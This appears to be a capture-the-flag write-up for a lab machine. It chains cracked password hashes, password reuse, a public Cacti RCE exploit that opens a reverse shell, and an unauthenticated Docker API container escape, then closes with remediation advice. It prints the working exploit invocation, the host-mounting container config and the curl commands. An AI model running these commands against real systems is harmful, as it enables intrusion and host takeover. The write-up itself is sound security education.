    No robots.txt. Possible usernames in source code.

    We do come across a login page.

    We don’t have creds yet to get in to this. Feroxbuster found /user which seemed suspicious. I manually played with this for a bit and was actually able to find credentials.

    Spawn the pwnbox so I can crack them there. Put the hashes in hashes.txt. Used hashcat.

    hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

    It cracked the admin hash which is actually the most convenient.

    admin:wonderful1

    I got in to the dashboard with those credentials but after poking around for a bit I don’t think anything was useful.

    API keys look the most interesting but I’m not completely sure. I ran a subdomain enumeration while I poke around more.

    ffuf -u ‘http://monitorsfour.htb/&#8217; -H “Host: FUZZ.monitorsfour.htb” -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -fs 138

    I couldn’t find anything additional on the current site but we did find a cacti.montorsfour.htb

    I wasn’t able to get in with the same credentials but with the previous information I was able to eventually get in with marcus:wonderful1 as that is the admin’s first name.

    It looks like this is vulnerable. Found this https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.

    We were able to get a shell.

    python3 exploit.py \

      -u marcus \

      -p wonderful1 \

      -i 10.10.16.147 \

      -l 4444 \

      -url http://cacti.monitorsfour.htb

    After some enumeration it looks like we are in a container.

    We can follow the API and check the version.

    It’s accessible without authentication so this is vulnerable to CVE-2025-9074. We can create a JSON config for this exploit.

    cat > /tmp/container.json << ‘EOF’

    {

      “Image”: “alpine:latest”,

      “Cmd”: [“/bin/sh”, “-c”, “cat /mnt/host_root/Users/Administrator/Desktop/root.txt”],

      “HostConfig”: {

        “Binds”: [“/mnt/host/c:/mnt/host_root”]

      },

      “Tty”: true,

      “OpenStdin”: true

    }

    EOF

    cd /tmp && python3 -m http.server 8000

    We can download the config.

    curl http://10.10.16.147:8000/container.json -o /tmp/container.json

    Create the container.

    curl -X POST -H “Content-Type: application/json” -d @/tmp/container.json “http://192.168.65.7:2375/containers/create?name=pwned

    Start it.

    curl -X POST http://192.168.65.7:2375/containers/cac325013e2df9e53c911f2fc57cecb554cb432233cdfe088ecdb25a83999fd0/start

    And we got root.

    curl “http://192.168.65.7:2375/containers/cac325013e2df9e53c911f2fc57cecb554cb432233cdfe088ecdb25a83999fd0/logs?stdout=true&#8221;

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified port 80 (HTTP). Added monitorsfour.htb to /etc/hosts. Browsed to the web server and found a login page. Noted possible usernames in the page source. Ran feroxbuster while poking around manually.

    rustscan -a 10.129.15.15 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://monitorsfour.htb/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

    2 – Credential discovery and hash cracking Feroxbuster found a /user path. Manually exploring it revealed hashed credentials. Transferred the hashes to the Pwnbox and cracked them with Hashcat using rockyou. The admin hash cracked successfully.

    hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

    Credentials recovered: admin:wonderful1

    3 – Subdomain enumeration and Cacti access Logged into the dashboard but found nothing immediately exploitable. Ran subdomain fuzzing with ffuf and discovered cacti.monitorsfour.htb. Could not log in with the admin credentials but used the admin’s first name Marcus with the same password and got in.

    ffuf -u ‘http://monitorsfour.htb/&#8217; -H “Host: FUZZ.monitorsfour.htb” -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -fs 138

    Credentials: marcus:wonderful1

    4 – Initial Access – CVE-2025-24367 Cacti RCE Identified the Cacti instance was vulnerable to CVE-2025-24367, an authenticated remote code execution vulnerability. Used a public PoC exploit to obtain a reverse shell.

    python3 exploit.py -u marcus -p wonderful1 -i 10.10.16.147 -l 4444 -url http://cacti.monitorsfour.htb

    5 – Container escape via unauthenticated Docker API – CVE-2025-9074 Enumeration confirmed the shell was inside a container. Found the Docker daemon API accessible on port 2375 without authentication. Created a malicious container configuration that mounted the host filesystem and used it to read root.txt directly from the Administrator desktop.

    curl -X POST -H “Content-Type: application/json” -d @/tmp/container.json “http://192.168.65.7:2375/containers/create?name=pwned&#8221;


    Key Takeaways

    1. Hashed credentials exposed via unauthenticated endpoint – Hashes were accessible through a /user path with no authentication required. Credential data of any kind must never be exposed through web endpoints and access to user management paths must require authentication.
    2. Password reuse across accounts and services – The same password was shared between the admin account on the main application and the marcus account on the Cacti subdomain. Password reuse across any accounts is unacceptable and a single compromised password should never grant access to multiple services.
    3. Cacti RCE via CVE-2025-24367 (CVSS 8.8 High) – The Cacti instance was running a vulnerable version with a known authenticated RCE. Network monitoring tools are often overlooked in patch cycles but are high-value targets given their privileged network position and service account access.
    4. Unauthenticated Docker API exposed internally – CVE-2025-9074 (CVSS 9.8 Critical) – The Docker daemon was listening on port 2375 with no authentication, allowing any process inside the container network to create and manage containers with arbitrary host filesystem mounts. The Docker socket and API must never be exposed without authentication and TLS.
    5. Container escape via host filesystem mount – Once the Docker API was accessible it was trivial to mount the host root filesystem into a new container and read any file on the host. Container workloads must be isolated with appropriate runtime security controls to prevent this class of escape.

    Remediation

    [Immediate] Patch Cacti to remediate CVE-2025-24367 (CVSS 8.8 High) Update Cacti to the latest patched version immediately. Subscribe to Cacti security advisories and apply patches within 48 hours of a critical or high severity release. Restrict access to the Cacti interface to authorised IP ranges only and require strong unique credentials.

    [Immediate] Secure the Docker API – CVE-2025-9074 (CVSS 9.8 Critical) Disable TCP exposure of the Docker daemon immediately. If remote Docker API access is operationally required, enable TLS mutual authentication and restrict access by IP. The Docker socket should never be accessible to untrusted processes or containers.

    [Immediate] Remove exposed credential endpoints Audit all web application paths for unauthenticated access to user data, hashes, or credential material. The /user endpoint must require authentication. Conduct a full review of access controls across both the main application and the Cacti subdomain.

    [Immediate] Enforce unique passwords across all accounts and services Rotate all passwords for accounts sharing the wonderful1 credential immediately. Implement a password policy requiring unique credentials per account and per service. Deploy a PAM solution to manage privileged account credentials.

    [Short-term] Implement container runtime security controls Deploy a container security solution such as Falco or Sysdig to detect anomalous container behaviour including unexpected filesystem mounts and API calls. Apply seccomp and AppArmor profiles to all container workloads. Regularly audit running containers for unnecessary host mounts and privileged flags.

    [Long-term] Integrate network monitoring tools into the vulnerability management program Tools like Cacti often run with elevated network access and are overlooked in patch cycles. Include all monitoring and infrastructure tooling in regular vulnerability scans. Define a hardening baseline for these tools covering authentication, network exposure, patch cadence, and service account permissions.

Categories